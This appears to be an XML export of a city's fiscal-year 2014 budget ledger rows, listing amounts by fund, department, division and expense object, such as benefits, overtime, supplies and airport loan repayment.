<row _id="8726"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5996.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5996.0</total></row>
<row _id="8727"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1982.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1982.0</total></row>
<row _id="8728"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3387.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3387.0</total></row>
<row _id="8729"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>417.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>417.0</total></row>
<row _id="8730"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2329.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2329.0</total></row>
<row _id="8731"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2550.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2550.0</total></row>
<row _id="8732"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2176.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2176.0</total></row>
<row _id="8733"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8136.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8136.0</total></row>
<row _id="8734"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>418.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>418.0</total></row>
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<row _id="8736"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1345181.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1345181.0</total></row>
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<row _id="8754"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5291.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5291.0</total></row>
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<row _id="8758"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2028.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2028.0</total></row>
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<row _id="8762"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4182.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4182.0</total></row>
<row _id="8763"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>577190.0</object><object_description>REPAYMENT OF LOAN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500000.0</total></row>
<row _id="8764"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>588500.0</object><object_description>MISCELLANEOUS EQUIPMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19885.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19885.0</total></row>
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<row _id="8778"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="8779"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1568.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1568.0</total></row>
<row _id="8780"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>407950.0</object><object_description>TRAINING GREEN BUILDING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1040.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1040.0</total></row>
<row _id="8781"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>129.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>129.0</total></row>
<row _id="8782"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2666.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2666.0</total></row>
<row _id="8783"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5006.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5006.0</total></row>
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<row _id="8813"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>560030.0</object><object_description>RAIN BARREL PROGRAM</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13000.0</total></row>
<row _id="8814"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>560040.0</object><object_description>CISTERN PROGRAM</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
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<row _id="8821"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544150.0</object><object_description>TREES/SEEDS/PLANTS/FERTILIZER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="8825"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8826"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8827"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8828"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8829"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8830"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522530.0</object><object_description>PARKING OUTREACH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="8832"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>407691.0</object><object_description>TAXI FRANCHISE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8833"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>407693.0</object><object_description>TAXI DRIVER PERMIT FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="8835"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>60438.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60438.0</total></row>
<row _id="8836"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="8837"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>420.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>420.0</total></row>
<row _id="8838"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>40031.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40031.0</total></row>
<row _id="8839"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4100.0</total></row>
<row _id="8840"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>480340.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>480340.0</total></row>
<row _id="8841"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5132.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5132.0</total></row>
<row _id="8842"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3880.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3880.0</total></row>
<row _id="8843"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>47034.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>47034.0</total></row>
<row _id="8844"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2095.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2095.0</total></row>
<row _id="8845"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18500.0</total></row>
<row _id="8846"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>105023.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>105023.0</total></row>
<row _id="8847"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15765.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15765.0</total></row>
<row _id="8848"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="8849"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>61500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>61500.0</total></row>
<row _id="8850"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12200.0</total></row>
